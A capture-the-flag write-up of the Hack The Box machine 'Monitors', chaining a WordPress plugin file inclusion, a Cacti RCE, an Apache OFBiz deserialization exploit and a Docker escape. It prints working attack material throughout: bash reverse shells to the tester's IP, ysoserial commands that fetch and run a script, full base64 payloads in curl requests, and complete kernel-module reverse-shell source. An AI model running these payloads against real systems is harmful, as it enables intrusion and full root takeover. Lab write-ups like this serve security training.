Hack The Box: Monitors

Prelude

Monitors is an intermediate machine from Hack The Box developed by TheCyberGeek.

This machine follows the same principals of Breadcrumbs machine, where the player has to exploit a chain of vulnerabilities to get into the machine.

To get an intial foothold, we have to exploit a File inclusion vulnerability in a WordPress plugin. But, that is a pretty small entry point and we have to include multiple files to get into the machine.

Once we’ve got into the machine, we can exploit an RCE in Apache OFBiz to gain access to a docker container. Escape the container and we’re root!

When exploiting this box, I accidentally got root before gaining the user account, since I focused on other vectors to escalate privileges instead of the intended path.

Let’s begin the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.238

And I got the scan result as follows.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I navigated to http://10.10.10.238/ and found the following message.

Host address leak

I then added monitors.htb to my /etc/hosts file and navigated to http://monitors.htb/ and found the following webpage.

This was a wordpress site. So, I did a wpscan and found out that it had a wordpress plugin named wp-with-spritz.

wpscan --url http://monitors.htb/ -e ap

A quick search showed me that this plugin is vulnerable to a File Inclusion vulnerability. Link

So, I used the following PoC URL based on the above mentioned exploit to include local files.

Note:I’ve also tried to include Remote PHP files and it worked partially; but PHP code from the remote files weren’t executing.

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=../../../wp-config.php

This URL included the wp-config.php file and it contained a password.

I tried this password to login as marcus ; a username I’ve found by including the /etc/passwd file of the target, but the password was incorrect.

Finding Hidden Hostname

At this point I was stuck. So, I decided to include the apache configuration files.

I included the default configuration file using the following URL.

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-available/000-default.conf

In the default file, there was a comment mentioning the file name of a new hostname.

Found a new trail!

So, I added cacti-admin.monitors.htb.conf into my hosts file and browsed to it.

I used the credential admin:BestAdministrator@2020! to login to Cacti.

And I was in!

Exploiting Cacti

There was nothing much to do in Cacti. So I searched exploits for Cacti and found an RCE exploit for Cacti. Link

I downloaded the exploit, started a nc listener and issued the following command to exploit cacti.

python3 cacti.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator\@2020\! --lhost 10.10.14.19 --lport 9001

And I got a shell back as www-data!

Gaining Shell as marcus

Once we get inside the machine as www-data, we can view the contents of marcus’s home directory.

In marcus’s home directory, there’s a hidden folder named .backup, but we cannot list the contents inside of it, but we have execute permissions in the folder.

If we search for files in the machine, which have reference to marcus, we will get a service file with reference to a file named backup.sh inside the /home/marcus/.backup folder.

This search was done inside /etc directory

We can open the backup.sh file to view the password for Marcus.

The password for marcus is VerticalEdge2020.

How could we read the file in a directory with only executable permission?

Now you might be wondering how could we read the contents of a file in a directory, where we only had executable permissions in it?

The answer is a simple and a little complicated.

The practical effect of linux permissions are different than we imagine. Here’s a table that shows different permissions and their practical effects. Source

linux directory permissions

The directory /home/marcus/.backup has --X permissions. which means that we (www-data) can’t list the files in the directory, but we (www-data) can read the file contents, if we know the file name.

That’s how we were able to read the contents of backup.sh.

Now that it’s clear, let’s go back to exploitation.

We can use the password we got from backup.sh to login as Marcus via SSH.

Once we are inside marcus’s home directory, we can view a text file named note.txt. Opening the file shows the following content.

It indicates the presence of a docker image.

Privilege Escalation

If we issue ps -ef as marcus, then we can see the command issued to start the docker container.

It shows us that the traffic from docker container’s port 8443 is forwarded to the target’s port 8443.

If we forward port 8443 of the target, and navigate to https://127.0.0.1:8443/ we can see that it is running Tomcat.

I did a gobuster on this and found several e-commerce related terms like /ebay are getting 302.

So, I navigated to https://127.0.0.1:8443/ebay and it redirected me to an Apache Ofbiz login page.

In the bottom right corner, it showed the version of Apache Ofbiz as 17.12.01.

Searching Apache OFBiz on google showed that version 17.12.01 had an RCE.

There’s a github repo by g33xter which had a detailed PoC on how to exploit it.

Basically it is a deserialization vulnerability. Using that deserialization vulnerability, we will first upload a custom bash shell script to the target. After that, we will use the same vulnerability to execute the uploaded shell script to get a reverse shell back.

I did the following steps to exploit this vulnerability based on the instructions from the above GitHub repo.

First, I created a bash shell script file named shell.sh with the following contents.

# Contents of shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.19/443 0>&1

Then I hosted the shell.sh file using python http.server.

After that, I downloaded YsoSerial‘s gadget chain to generate the deserialization payload from here.

I used the following command to generate a deserialization payload that will fetch shell.sh from my kali machine and save it to target’s /tmp. Here 10.10.14.19 is my IP address.

bash java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget 10.10.14.19/shell.sh -O /tmp/shell.sh" | base64 -w 0

I then copied the generated base64 encoded payload and pasted in the following cURL request.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"> !BASE64 HERE! </serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Replace the !BASE64 HERE! with the base64 encoded deserialization payload [ between extensions"> and </serializable> ]. I used the following cURL request to trigger the shell upload.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABr7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAqd2dldCAxMC4xMC4xNC4xOS9zaGVsbC5zaCAtTyAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyMTc2NTc0Nzc0MDk3NDcBAB9MeXNvc2VyaWFsL1B3bmVyMTc2NTc0Nzc0MDk3NDc7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

If everything went correctly, then our python http.server will get a hit on shell.sh.

If our python http.server got a hit on shell.sh from the target, then we can move to the next step; i.e. executing the uploaded reverse shell script.

To do that, we have to do the same steps as before, but with different payload.

I used the following command to generate the payload to execute the script located at /tmp/shell.sh.

java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 -w 0

Copy the generated base64 encoded deserialization payload and paste it in the following cURL command.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">  !BASE64 HERE!  </serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Replace the !BASE64 HERE! with the base64 encoded deserialization payload [ between extensions"> and </serializable> ].

The Final cURL command will look like the following.

curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqjK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASYmFzaCAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTE0MDA0NzgxMDI3NjQzAQAgTHlzb3NlcmlhbC9Qd25lcjExNDAwNDc4MTAyNzY0MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Before sending this cURL command, don’t forget to start a nc listener to the port address we specified in the shell.sh file that we uploaded earlier.

I started the nc listener, send the request and got a shell back.

w00t?
Confused Dog GIFs | Tenor

I got a root shell back. But, it was the root shell inside of the docker container mentioned in the note.txt file earlier.

So, we would need to perform a container escape to get into actual root.

Escaping Docker Container

I did a capsh --print command to view the capabilities of the docker container and found that this container has quite a lot of interesting capabilities.

Note: We can also run deepce, which is a docker container enumeration script to check for container specific checks (linpeas for docker).

The capability that is interesting is CAP_SYS_MODULE, which allows us to insert kernel modules from the container.

Hacktricks has an excellent page on this.

To exploit this, we need to compile a kernel module and insert it to kernel.

Source code of reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.19/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Now we need a Makefile to compile this.

Source of Makefile:


all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Note: The spaces before both make -C commands MUST be TABS instead of space, otherwise the compilation will error out.

Now, enter make command to make the modules.

If everything went correctly, we should have a file named reverse-shell.ko in the current folder.

Now, I started a nc listener in my kali machine and entered the command insmod reverse-shell.ko in the docker container.

And I got a reverse shell back as root!

Dug Up GIFs | Tenor
Woof! I mean w00t!

Bonus Story

Like I mentioned before, I got root in this box before even getting user.

This is because, when I couldn’t directly open the .backups folder, I shifted my focus on open ports. And that’s when I found the port 8443. But, I since I had no SSH credentials yet, I used socat to forward the port to a higher port and accessed Tomcat that way.

I uploaded a static socat binary to the target and used the following command to forward socat’s port 8443 to a higher port 5999.

./socat tcp-listen:59999,reuseaddr,fork tcp:localhost:8443

Please note that I’m not derogating the creator or this machine in any way. Infact this was a very well crafted machine and it had a lot of parts. So, chances are that the creator overlooked the importance of marcus‘s role in solving this machine and thus this method of getting emerged as an unintended solution.

I’ve checked on HTB discord, HTB forums and found out that I was not the only one who got root this way.

Keep in mind that this unintended path is highly unstable. Since we don’t have any way to “save” our hacking progress this way and someone resetting the machine midway during our exploitation attempt will force us to do the exploit chain from the beginning all over again!

Postlude

And that was Monitors.

I still don’t get why this machine is named that way. But, I thoroughly enjoyed this machine and Kudos to TheCyberGeek for creating such a cool machine!

Peace out! ✌️